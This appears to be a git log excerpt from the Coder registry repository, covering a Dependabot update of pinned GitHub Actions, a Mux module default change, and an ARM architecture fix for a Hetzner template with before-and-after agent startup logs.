<li>Add antigravity to allowed protocols list (<a
href="https://redirect.github.com/coder/coder/issues/20873">#20873</a>)
(<a
href="https://redirect.github.com/coder/coder/issues/21122">#21122</a>,
bd76c602e)</li>
</ul>
<p>Compare: <a
href="https://github.com/coder/coder/compare/v2.29.1...v2.29.2"><code>v2.29.1...v2.29.2</code></a></p>
<h2>Container image</h2>
<ul>
<li><code>docker pull ghcr.io/coder/coder:v2.29.2</code></li>
</ul>
<h2>Install/upgrade</h2>
<p>Refer to our docs to <a
href="https://coder.com/docs/install">install</a> or <a
href="https://coder.com/docs/install/upgrade">upgrade</a> Coder, or use
a release asset below.</p>
</blockquote>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="https://github.com/coder/coder/commit/b5360a9180613328a62d64efcfaac5a31980c746"><code>b5360a9</code></a>
fix: backport migration fixes (<a
href="https://redirect.github.com/coder/coder/issues/21611">#21611</a>)</li>
<li><a
href="https://github.com/coder/coder/commit/2e2d0dde447d5e52a07e13ccc54631aec1867319"><code>2e2d0dd</code></a>
feat(cli): backport <a
href="https://redirect.github.com/coder/coder/issues/21374">#21374</a>
to 2.29 (<a
href="https://redirect.github.com/coder/coder/issues/21561">#21561</a>)</li>
<li><a
href="https://github.com/coder/coder/commit/2314e4a94ee53ef4616b1b856f1d0281103398fd"><code>2314e4a</code></a>
fix: backport update boundary version to 2.29 (<a
href="https://redirect.github.com/coder/coder/issues/21290">#21290</a>)
(<a
href="https://redirect.github.com/coder/coder/issues/21575">#21575</a>)</li>
<li><a
href="https://github.com/coder/coder/commit/bd76c602e4f0a9f5bc98c6d45e13115219c1d81d"><code>bd76c60</code></a>
chore: add antigravity to allowed protocols list (<a
href="https://redirect.github.com/coder/coder/issues/20873">#20873</a>)
(<a
href="https://redirect.github.com/coder/coder/issues/21122">#21122</a>)</li>
<li>See full diff in <a
href="https://github.com/coder/coder/compare/59cdd7e21f4d7da12567c0c29964d298fbf38f27...b5360a9180613328a62d64efcfaac5a31980c746">compare
view</a></li>
</ul>
</details>
<br />

Updates `crate-ci/typos` from 1.42.0 to 1.42.1
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/crate-ci/typos/releases">crate-ci/typos's
releases</a>.</em></p>
<blockquote>
<h2>v1.42.1</h2>
<h2>[1.42.1] - 2026-01-19</h2>
<h3>Fixes</h3>
<ul>
<li>Ignore hex literals with suffixes (e.g. <code>0xffffUL</code>)</li>
</ul>
</blockquote>
</details>
<details>
<summary>Changelog</summary>
<p><em>Sourced from <a
href="https://github.com/crate-ci/typos/blob/master/CHANGELOG.md">crate-ci/typos's
changelog</a>.</em></p>
<blockquote>
<h1>Change Log</h1>
<p>All notable changes to this project will be documented in this
file.</p>
<p>The format is based on <a href="https://keepachangelog.com/">Keep a
Changelog</a>
and this project adheres to <a href="https://semver.org/">Semantic
Versioning</a>.</p>
<!-- raw HTML omitted -->
<h2>[Unreleased] - ReleaseDate</h2>
<h2>[1.42.1] - 2026-01-19</h2>
<h3>Fixes</h3>
<ul>
<li>Ignore hex literals with suffixes (e.g. <code>0xffffUL</code>)</li>
</ul>
<h2>[1.42.0] - 2026-01-07</h2>
<h3>Features</h3>
<ul>
<li>Dictionary updates</li>
</ul>
<h2>[1.41.0] - 2025-12-31</h2>
<h3>Features</h3>
<ul>
<li>Updated the dictionary with the <a
href="https://redirect.github.com/crate-ci/typos/issues/1431">December
2025</a> changes</li>
</ul>
<h2>[1.40.1] - 2025-12-29</h2>
<h3>Fixes</h3>
<ul>
<li>Treat <code>incrementer</code> and <code>incrementor</code> the same
for now</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Don't correct ITerm2</li>
</ul>
<h2>[1.40.0] - 2025-11-26</h2>
<h3>Features</h3>
<ul>
<li>Updated the dictionary with the <a
href="https://redirect.github.com/crate-ci/typos/issues/1405">November
2025</a> changes</li>
</ul>
<h2>[1.39.2] - 2025-11-13</h2>
<h3>Fixes</h3>
<ul>
<li>Don't offer <code>entry</code> as a correction for
<code>entrys</code></li>
</ul>
<h2>[1.39.1] - 2025-11-12</h2>
<!-- raw HTML omitted -->
</blockquote>
<p>... (truncated)</p>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="https://github.com/crate-ci/typos/commit/65120634e79d8374d1aa2f27e54baa0c364fff5a"><code>6512063</code></a>
chore: Release</li>
<li><a
href="https://github.com/crate-ci/typos/commit/2049566b9c8d1828af41b31f770bbc44d6b34eab"><code>2049566</code></a>
docs: Update changelog</li>
<li><a
href="https://github.com/crate-ci/typos/commit/cbc66c9a8518fdb8d78f6502705ffad9a58574c5"><code>cbc66c9</code></a>
Merge pull request <a
href="https://redirect.github.com/crate-ci/typos/issues/1471">#1471</a>
from epage/hex</li>
<li><a
href="https://github.com/crate-ci/typos/commit/207157952c1c5bb2f91d933d56924dcb674cd919"><code>2071579</code></a>
fix(tokens): Ignore hex literals with suffixes</li>
<li><a
href="https://github.com/crate-ci/typos/commit/7300bb0964cb8a525429adbde59c6a4eeb27099e"><code>7300bb0</code></a>
perf(token): Avoid switching to chars</li>
<li><a
href="https://github.com/crate-ci/typos/commit/01955c0f2a615c6f18fecd48a83fce416f520c38"><code>01955c0</code></a>
perf(token): Prefer slices over characters</li>
<li><a
href="https://github.com/crate-ci/typos/commit/5d4cfab739a1567f49a71c421647370271da220f"><code>5d4cfab</code></a>
test(cli): Show hex literal issue</li>
<li><a
href="https://github.com/crate-ci/typos/commit/3cee018e3f423e227a4df83b164d33084d6ee2be"><code>3cee018</code></a>
Merge pull request <a
href="https://redirect.github.com/crate-ci/typos/issues/1468">#1468</a>
from Wilfred/patch-1</li>
<li><a
href="https://github.com/crate-ci/typos/commit/a96a636d4eab2dee39e7046a61c94cf3171cbaad"><code>a96a636</code></a>
Fix typo in ripsecrets link</li>
<li><a
href="https://github.com/crate-ci/typos/commit/837ad2701b39a6d960ea301041d309c10185efd6"><code>837ad27</code></a>
Merge pull request <a
href="https://redirect.github.com/crate-ci/typos/issues/1467">#1467</a>
from Wilfred/full_examples_in_reference</li>
<li>Additional commits viewable in <a
href="https://github.com/crate-ci/typos/compare/bb4666ad77b539a6b4ce4eda7ebb6de553704021...65120634e79d8374d1aa2f27e54baa0c364fff5a">compare
view</a></li>
</ul>
</details>
<br />

Updates `actions/setup-go` from 6.1.0 to 6.2.0
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/actions/setup-go/releases">actions/setup-go's
releases</a>.</em></p>
<blockquote>
<h2>v6.2.0</h2>
<h2>What's Changed</h2>
<h3>Enhancements</h3>
<ul>
<li>Example for restore-only cache in documentation by <a
href="https://github.com/aparnajyothi-y"><code>@​aparnajyothi-y</code></a>
in <a
href="https://redirect.github.com/actions/setup-go/pull/696">actions/setup-go#696</a></li>
<li>Update Node.js version in action.yml by <a
href="https://github.com/ccoVeille"><code>@​ccoVeille</code></a> in <a
href="https://redirect.github.com/actions/setup-go/pull/691">actions/setup-go#691</a></li>
<li>Documentation update of actions/checkout by <a
href="https://github.com/deining"><code>@​deining</code></a> in <a
href="https://redirect.github.com/actions/setup-go/pull/683">actions/setup-go#683</a></li>
</ul>
<h3>Dependency updates</h3>
<ul>
<li>Upgrade js-yaml from 3.14.1 to 3.14.2 by <a
href="https://github.com/dependabot"><code>@​dependabot</code></a> in <a
href="https://redirect.github.com/actions/setup-go/pull/682">actions/setup-go#682</a></li>
<li>Upgrade <code>@​actions/cache</code> to v5 by <a
href="https://github.com/salmanmkc"><code>@​salmanmkc</code></a> in <a
href="https://redirect.github.com/actions/setup-go/pull/695">actions/setup-go#695</a></li>
<li>Upgrade actions/checkout from 5 to 6 by <a
href="https://github.com/dependabot"><code>@​dependabot</code></a> in <a
href="https://redirect.github.com/actions/setup-go/pull/686">actions/setup-go#686</a></li>
<li>Upgrade qs from 6.14.0 to 6.14.1 by <a
href="https://github.com/dependabot"><code>@​dependabot</code></a> in <a
href="https://redirect.github.com/actions/setup-go/pull/703">actions/setup-go#703</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a href="https://github.com/ccoVeille"><code>@​ccoVeille</code></a>
made their first contribution in <a
href="https://redirect.github.com/actions/setup-go/pull/691">actions/setup-go#691</a></li>
<li><a href="https://github.com/deining"><code>@​deining</code></a> made
their first contribution in <a
href="https://redirect.github.com/actions/setup-go/pull/683">actions/setup-go#683</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a
href="https://github.com/actions/setup-go/compare/v6...v6.2.0">https://github.com/actions/setup-go/compare/v6...v6.2.0</a></p>
</blockquote>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="https://github.com/actions/setup-go/commit/7a3fe6cf4cb3a834922a1244abfce67bcef6a0c5"><code>7a3fe6c</code></a>
Bump qs from 6.14.0 to 6.14.1 (<a
href="https://redirect.github.com/actions/setup-go/issues/703">#703</a>)</li>
<li><a
href="https://github.com/actions/setup-go/commit/b9adafd441833a027479ddd0db37eaece68d35cb"><code>b9adafd</code></a>
Bump actions/checkout from 5 to 6 (<a
href="https://redirect.github.com/actions/setup-go/issues/686">#686</a>)</li>
<li><a
href="https://github.com/actions/setup-go/commit/d73f6bcfc2b419b74f47075f8a487b40cc4680f8"><code>d73f6bc</code></a>
README.md: correct to actions/checkout@v6 (<a
href="https://redirect.github.com/actions/setup-go/issues/683">#683</a>)</li>
<li><a
href="https://github.com/actions/setup-go/commit/ae252ee6fb24babc50e89fc67c4aa608e69fbf8f"><code>ae252ee</code></a>
Bump <code>@​actions/cache</code> to v5 (<a
href="https://redirect.github.com/actions/setup-go/issues/695">#695</a>)</li>
<li><a
href="https://github.com/actions/setup-go/commit/bf7446afafbce8902019569bc0aab5a59380c516"><code>bf7446a</code></a>
Bump js-yaml from 3.14.1 to 3.14.2 (<a
href="https://redirect.github.com/actions/setup-go/issues/682">#682</a>)</li>
<li><a
href="https://github.com/actions/setup-go/commit/02aadfee7f572f67453450365b688df2c3f95730"><code>02aadfe</code></a>
Fix Node.js version in action.yml (<a
href="https://redirect.github.com/actions/setup-go/issues/691">#691</a>)</li>
<li><a
href="https://github.com/actions/setup-go/commit/4aaadf42668403795cdfdb15b1c4250e9fed12b9"><code>4aaadf4</code></a>
Example for restore-only cache in documentation (<a
href="https://redirect.github.com/actions/setup-go/issues/696">#696</a>)</li>
<li>See full diff in <a
href="https://github.com/actions/setup-go/compare/4dc6199c7b1a012772edbd06daecab0f50c9053c...7a3fe6cf4cb3a834922a1244abfce67bcef6a0c5">compare
view</a></li>
</ul>
</details>
<br />

Updates `zizmorcore/zizmor-action` from 0.3.0 to 0.4.1
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/zizmorcore/zizmor-action/releases">zizmorcore/zizmor-action's
releases</a>.</em></p>
<blockquote>
<h2>v0.4.1</h2>
<p>This version fixes an error in the 0.4.0 release that prevented
non-relative use
of the action.</p>
<h2>What's Changed</h2>
<ul>
<li>Fix version file path by <a
href="https://github.com/woodruffw"><code>@​woodruffw</code></a> in <a
href="https://redirect.github.com/zizmorcore/zizmor-action/pull/83">zizmorcore/zizmor-action#83</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a
href="https://github.com/zizmorcore/zizmor-action/compare/v0.4.0...v0.4.1">https://github.com/zizmorcore/zizmor-action/compare/v0.4.0...v0.4.1</a></p>
<h2>v0.4.0</h2>
<p>This new version of <code>zizmor-action</code> brings two major
changes:</p>
<ul>
<li>
<p>The new <code>fail-on-no-inputs</code> option can be used to control
whether
<code>zizmor-action</code> fails if no inputs were collected by
<code>zizmor</code>. The default
remains <code>true</code>, reflecting the pre-existing behavior.</p>
</li>
<li>
<p>The action's use of the official <code>zizmor</code> Docker images is
now fully
hash-checked internally, preventing accidental or malicious modification
to the images. This also means that subsequent releases of
<code>zizmor</code>
will induce a release of this action, rather than the action always
picking
up the latest version by default.</p>
</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>docs: extended permissions required for internal repos by <a
href="https://github.com/AntoineSebert"><code>@​AntoineSebert</code></a>
in <a
href="https://redirect.github.com/zizmorcore/zizmor-action/pull/61">zizmorcore/zizmor-action#61</a></li>
<li>docs: clarify description of &quot;token&quot; to indicate it is
only used for online audits by <a
href="https://github.com/rmuir"><code>@​rmuir</code></a> in <a
href="https://redirect.github.com/zizmorcore/zizmor-action/pull/63">zizmorcore/zizmor-action#63</a></li>
<li>Hash-check zizmor Docker images by <a
href="https://github.com/woodruffw"><code>@​woodruffw</code></a> in <a
href="https://redirect.github.com/zizmorcore/zizmor-action/pull/68">zizmorcore/zizmor-action#68</a></li>
<li>Add <code>fail-on-no-inputs</code> option by <a
href="https://github.com/woodruffw"><code>@​woodruffw</code></a> in <a
href="https://redirect.github.com/zizmorcore/zizmor-action/pull/67">zizmorcore/zizmor-action#67</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a
href="https://github.com/AntoineSebert"><code>@​AntoineSebert</code></a>
made their first contribution in <a
href="https://redirect.github.com/zizmorcore/zizmor-action/pull/61">zizmorcore/zizmor-action#61</a></li>
<li><a href="https://github.com/rmuir"><code>@​rmuir</code></a> made
their first contribution in <a
href="https://redirect.github.com/zizmorcore/zizmor-action/pull/63">zizmorcore/zizmor-action#63</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a
href="https://github.com/zizmorcore/zizmor-action/compare/v0.3.0...v0.4.0">https://github.com/zizmorcore/zizmor-action/compare/v0.3.0...v0.4.0</a></p>
</blockquote>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="https://github.com/zizmorcore/zizmor-action/commit/135698455da5c3b3e55f73f4419e481ab68cdd95"><code>1356984</code></a>
Fix version file path (<a
href="https://redirect.github.com/zizmorcore/zizmor-action/issues/83">#83</a>)</li>
<li><a
href="https://github.com/zizmorcore/zizmor-action/commit/72469cf6cc7fbd7801d9b361f11f25c0b5fc9d42"><code>72469cf</code></a>
Bump pins in README (<a
href="https://redirect.github.com/zizmorcore/zizmor-action/issues/80">#80</a>)</li>
<li><a
href="https://github.com/zizmorcore/zizmor-action/commit/3aa7e2f1ad15075829ef5158ee06938ae12e1769"><code>3aa7e2f</code></a>
Add fail-on-no-inputs tests (<a
href="https://redirect.github.com/zizmorcore/zizmor-action/issues/79">#79</a>)</li>
<li><a
href="https://github.com/zizmorcore/zizmor-action/commit/92fc377b741151b893e77df75819fb34a198f677"><code>92fc377</code></a>
Sync zizmor versions (<a
href="https://redirect.github.com/zizmorcore/zizmor-action/issues/78">#78</a>)</li>
<li><a
href="https://github.com/zizmorcore/zizmor-action/commit/5aff8efe9fc7bea2f977d55dcc7c98923f22d887"><code>5aff8ef</code></a>
Add <code>fail-on-no-inputs</code> option (<a
href="https://redirect.github.com/zizmorcore/zizmor-action/issues/67">#67</a>)</li>
<li><a
href="https://github.com/zizmorcore/zizmor-action/commit/4d497b9cc8b9f59f4154478dffc4bab6a783fc69"><code>4d497b9</code></a>
Sync zizmor versions (<a
href="https://redirect.github.com/zizmorcore/zizmor-action/issues/75">#75</a>)</li>
<li><a
href="https://github.com/zizmorcore/zizmor-action/commit/5fa0711fa51dd83a19dbfcf0195cfb02e61571ef"><code>5fa0711</code></a>
Fix sync-zizmor-versions (<a
href="https://redirect.github.com/zizmorcore/zizmor-action/issues/69">#69</a>)</li>
<li><a
href="https://github.com/zizmorcore/zizmor-action/commit/c823f2c8e66ceac799af6d2d17b1d83b6d5a0177"><code>c823f2c</code></a>
Hash-check zizmor Docker images (<a
href="https://redirect.github.com/zizmorcore/zizmor-action/issues/68">#68</a>)</li>
<li><a
href="https://github.com/zizmorcore/zizmor-action/commit/706c51b5bce7adb027de71ab36d865f5d3fcc7b7"><code>706c51b</code></a>
chore(deps): bump github/codeql-action in the github-actions group (<a
href="https://redirect.github.com/zizmorcore/zizmor-action/issues/66">#66</a>)</li>
<li><a
href="https://github.com/zizmorcore/zizmor-action/commit/cb3d8e846e148d1111d90b03375b9c03deceda37"><code>cb3d8e8</code></a>
chore(deps): bump actions/checkout in the github-actions group (<a
href="https://redirect.github.com/zizmorcore/zizmor-action/issues/65">#65</a>)</li>
<li>Additional commits viewable in <a
href="https://github.com/zizmorcore/zizmor-action/compare/e639db99335bc9038abc0e066dfcd72e23d26fb4...135698455da5c3b3e55f73f4419e481ab68cdd95">compare
view</a></li>
</ul>
</details>
<br />


Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.

[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)

---

<details>
<summary>Dependabot commands and options</summary>
<br />

You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot merge` will merge this PR after your CI passes on it
- `@dependabot squash and merge` will squash and merge this PR after
your CI passes on it
- `@dependabot cancel merge` will cancel a previously requested merge
and block automerging
- `@dependabot reopen` will reopen this PR if it is closed
- `@dependabot close` will close this PR and stop Dependabot recreating
it. You can achieve the same result by closing it manually
- `@dependabot show <dependency name> ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore <dependency name> major version` will close this
group update PR and stop Dependabot creating any more for the specific
dependency's major version (unless you unignore this specific
dependency's major version or upgrade to it yourself)
- `@dependabot ignore <dependency name> minor version` will close this
group update PR and stop Dependabot creating any more for the specific
dependency's minor version (unless you unignore this specific
dependency's minor version or upgrade to it yourself)
- `@dependabot ignore <dependency name>` will close this group update PR
and stop Dependabot creating any more for the specific dependency
(unless you unignore this specific dependency or upgrade to it yourself)
- `@dependabot unignore <dependency name>` will remove all of the ignore
conditions of the specified dependency
- `@dependabot unignore <dependency name> <ignore condition>` will
remove the ignore condition of the specified dependency and ignore
conditions


</details>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: DevCats <christofer@coder.com>
2026-01-28 22:16:41 +00:00
Michael Suchacz bd1c4c59cd feat(coder/modules/mux): update defaults and add-project (#677)
## Summary

- Default `subdomain` to `true` so Mux uses subdomain routing by
default.
- Default `display_name` to `Mux`.
- Make `add-project` optional (`null` by default) and pass
`--add-project` to `mux server` when set.
- Bump mux module README example version to `1.0.8`.

## Notes

Changing the `subdomain` default may affect workspaces without wildcard
subdomain support configured (they can explicitly set `subdomain =
false`).

## Testing

- `terraform validate` (registry/coder/modules/mux)
- `terraform test -verbose` (registry/coder/modules/mux)

---
Generated with Mux (AI coding agent).
2026-01-28 21:57:36 +00:00
Alfred 8d53725005 Fix(registry/Excellencedev/templates/hetzner-linux): Correctly select coder agent arch on Hetzner CAX ARM Instances (#672)
## Description

hetzner-linux template allows CAX (ARM) instances but hardcodes coder
agent to amd64 causing the wrong coder-agent to be pulled on CAX
instance causing provisioning failure.

Adding `architecture` to server_types response and mapping this to
correct agent arch, with defaults back to amd64 for if this fails.

No Fix, CAX Instance

```
Jan 25 16:03:48 coder-test-nofix-dev systemd[1]: Starting coder-agent.service - Coder Agent...
Jan 25 16:03:53 coder-test-nofix-dev systemd[1]: Started coder-agent.service - Coder Agent.
Jan 25 16:03:53 coder-test-nofix-dev coder-agent[2100]: + trap waitonexit EXIT
Jan 25 16:03:53 coder-test-nofix-dev coder-agent[2101]: + mktemp -d -t coder.XXXXXX
Jan 25 16:03:53 coder-test-nofix-dev coder-agent[2100]: + BINARY_DIR=/tmp/coder.6oHHHW
Jan 25 16:03:53 coder-test-nofix-dev coder-agent[2100]: + BINARY_NAME=coder
Jan 25 16:03:53 coder-test-nofix-dev coder-agent[2100]: + BINARY_URL=https://coder.domain/bin/coder-linux-amd64
Jan 25 16:03:53 coder-test-nofix-dev coder-agent[2100]: + cd /tmp/coder.6oHHHW
Jan 25 16:03:53 coder-test-nofix-dev coder-agent[2100]: + :
Jan 25 16:03:53 coder-test-nofix-dev coder-agent[2100]: + status=
Jan 25 16:03:53 coder-test-nofix-dev coder-agent[2100]: + command -v curl
Jan 25 16:03:53 coder-test-nofix-dev coder-agent[2100]: + curl -fsSL --compressed https://coder.domain/bin/coder-linux-amd64 -o coder
Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2100]: + break
Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2100]: + chmod +x coder
Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2100]: + [ -n  ]
Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2100]: + export CODER_AGENT_AUTH=token
Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2100]: + export CODER_AGENT_URL=https://coder.domain/
Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2133]: + ./coder --version
Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2134]: + head -n1
Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2133]: /opt/coder/init: 90: ./coder: Exec format error
Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2100]: + output=
Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2136]: + echo
Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2137]: + grep -q Coder
Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2100]: + echo ERROR: Downloaded agent binary returned unexpected version output
Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2100]: ERROR: Downloaded agent binary returned unexpected version output
Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2100]: + echo coder --version output: ""
Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2100]: coder --version output: ""
Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2100]: + exit 2
Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2100]: + waitonexit
Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2100]: + echo === Agent script exited with non-zero code (2). Sleeping 24h to preserve logs...
Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2100]: === Agent script exited with non-zero code (2). Sleeping 24h to preserve logs...
Jan 25 16:04:02 coder-test-nofix-dev coder-agent[2100]: + sleep 86400
```

Fix, CAX Instance

```
Jan 25 16:08:55 coder-ARM64TEST-dev systemd[1]: Starting coder-agent.service - Coder Agent...
Jan 25 16:09:00 coder-ARM64TEST-dev systemd[1]: Started coder-agent.service - Coder Agent.
Jan 25 16:09:00 coder-ARM64TEST-dev coder-agent[2044]: + trap waitonexit EXIT
Jan 25 16:09:00 coder-ARM64TEST-dev coder-agent[2046]: + mktemp -d -t coder.XXXXXX
Jan 25 16:09:00 coder-ARM64TEST-dev coder-agent[2044]: + BINARY_DIR=/tmp/coder.4j7W57
Jan 25 16:09:00 coder-ARM64TEST-dev coder-agent[2044]: + BINARY_NAME=coder
Jan 25 16:09:00 coder-ARM64TEST-dev coder-agent[2044]: + BINARY_URL=https://coder.domain/bin/coder-linux-arm64
Jan 25 16:09:00 coder-ARM64TEST-dev coder-agent[2044]: + cd /tmp/coder.4j7W57
Jan 25 16:09:00 coder-ARM64TEST-dev coder-agent[2044]: + :
Jan 25 16:09:00 coder-ARM64TEST-dev coder-agent[2044]: + status=
Jan 25 16:09:00 coder-ARM64TEST-dev coder-agent[2044]: + command -v curl
Jan 25 16:09:00 coder-ARM64TEST-dev coder-agent[2044]: + curl -fsSL --compressed https://coder.domain/bin/coder-linux-arm64 -o coder
Jan 25 16:09:13 coder-ARM64TEST-dev coder-agent[2044]: + break
Jan 25 16:09:13 coder-ARM64TEST-dev coder-agent[2044]: + chmod +x coder
Jan 25 16:09:13 coder-ARM64TEST-dev coder-agent[2044]: + [ -n  ]
Jan 25 16:09:13 coder-ARM64TEST-dev coder-agent[2044]: + export CODER_AGENT_AUTH=token
Jan 25 16:09:13 coder-ARM64TEST-dev coder-agent[2044]: + export CODER_AGENT_URL=https://coder.domain/
Jan 25 16:09:13 coder-ARM64TEST-dev coder-agent[2069]: + ./coder --version
Jan 25 16:09:13 coder-ARM64TEST-dev coder-agent[2070]: + head -n1
Jan 25 16:09:13 coder-ARM64TEST-dev coder-agent[2044]: + output=Coder v2.29.2+b5360a9 Wed Jan 21 15:45:58 UTC 2026
Jan 25 16:09:13 coder-ARM64TEST-dev coder-agent[2076]: + echo Coder v2.29.2+b5360a9 Wed Jan 21 15:45:58 UTC 2026
Jan 25 16:09:13 coder-ARM64TEST-dev coder-agent[2077]: + grep -q Coder
Jan 25 16:09:13 coder-ARM64TEST-dev coder-agent[2044]: + exec ./coder agent
Jan 25 16:09:13 coder-ARM64TEST-dev coder-agent[2044]: 2026-01-25 16:09:13.467 [info]  agent is starting now
```

## Type of Change

- [ ] New module
- [ ] New template
- [x] Bug fix
- [ ] Feature/enhancement
- [ ] Documentation
- [ ] Other

## Template Information

<!-- Delete this section if not applicable -->

**Path:** `registry/Excellencedev/templates/hetzner-linux`

## Testing & Validation

- [] Tests pass (`bun test`)
- [] Code formatted (`bun fmt`)
- [x] Changes tested locally

## Related Issues

<!-- Link related issues or write "None" if not applicable -->
2026-01-27 22:34:24 +00:00
72 changed files with 2963 additions and 310 deletions
@@ -11,7 +11,7 @@ jobs:
steps:
- name: Checkout repository
uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- name: Run check.sh
run: |
+7 -7
View File
@@ -12,7 +12,7 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: Check out code
uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- name: Detect changed files
uses: dorny/paths-filter@de90cc6fb38fc0963ad72b210f1f284cd68cea36 # v3
id: filter
@@ -37,7 +37,7 @@ jobs:
all:
- '**'
- name: Set up Terraform
uses: coder/coder/.github/actions/setup-tf@59cdd7e21f4d7da12567c0c29964d298fbf38f27 # v2.29.1
uses: coder/coder/.github/actions/setup-tf@b5360a9180613328a62d64efcfaac5a31980c746 # v2.29.2
- name: Set up Bun
uses: oven-sh/setup-bun@3d267786b128fe76c2f16a390aa2448b815359f3 # v2
with:
@@ -80,20 +80,20 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: Check out code
uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- name: Install Bun
uses: oven-sh/setup-bun@3d267786b128fe76c2f16a390aa2448b815359f3 # v2
with:
bun-version: latest
# Need Terraform for its formatter
- name: Install Terraform
uses: coder/coder/.github/actions/setup-tf@59cdd7e21f4d7da12567c0c29964d298fbf38f27 # v2.29.1
uses: coder/coder/.github/actions/setup-tf@b5360a9180613328a62d64efcfaac5a31980c746 # v2.29.2
- name: Install dependencies
run: bun install
- name: Validate formatting
run: bun fmt:ci
- name: Check for typos
uses: crate-ci/typos@bb4666ad77b539a6b4ce4eda7ebb6de553704021 # v1.42.0
uses: crate-ci/typos@65120634e79d8374d1aa2f27e54baa0c364fff5a # v1.42.1
with:
config: .github/typos.toml
validate-readme-files:
@@ -104,9 +104,9 @@ jobs:
needs: validate-style
steps:
- name: Check out code
uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- name: Set up Go
uses: actions/setup-go@4dc6199c7b1a012772edbd06daecab0f50c9053c # v6
uses: actions/setup-go@7a3fe6cf4cb3a834922a1244abfce67bcef6a0c5 # v6
with:
go-version: "1.24.0"
- name: Validate contributors
+1 -1
View File
@@ -28,7 +28,7 @@ jobs:
steps:
- name: Checkout code
uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- name: Authenticate with Google Cloud
uses: google-github-actions/auth@7c6bc770dae815cd3e89ee6cdf493a5fab2cc093
with:
+2 -2
View File
@@ -14,8 +14,8 @@ jobs:
name: lint
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0
- uses: actions/setup-go@4dc6199c7b1a012772edbd06daecab0f50c9053c # v6
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- uses: actions/setup-go@7a3fe6cf4cb3a834922a1244abfce67bcef6a0c5 # v6
with:
go-version: stable
- name: golangci-lint
+1 -1
View File
@@ -14,7 +14,7 @@ jobs:
steps:
- name: Checkout code
uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
with:
fetch-depth: 0
persist-credentials: false
+3 -3
View File
@@ -20,7 +20,7 @@ jobs:
issues: write
steps:
- name: Checkout code
uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
with:
fetch-depth: 0
token: ${{ secrets.GITHUB_TOKEN }}
@@ -31,7 +31,7 @@ jobs:
bun-version: latest
- name: Set up Terraform
uses: coder/coder/.github/actions/setup-tf@59cdd7e21f4d7da12567c0c29964d298fbf38f27 # v2.29.1
uses: coder/coder/.github/actions/setup-tf@b5360a9180613328a62d64efcfaac5a31980c746 # v2.29.2
- name: Install dependencies
run: bun install
@@ -41,7 +41,7 @@ jobs:
LABEL_NAME: ${{ github.event.label.name }}
id: bump-type
run: |
case "$LABEL_NAME" in in
case "$LABEL_NAME" in
"version:patch")
echo "type=patch" >> $GITHUB_OUTPUT
;;
+4 -4
View File
@@ -22,12 +22,12 @@ jobs:
actions: read
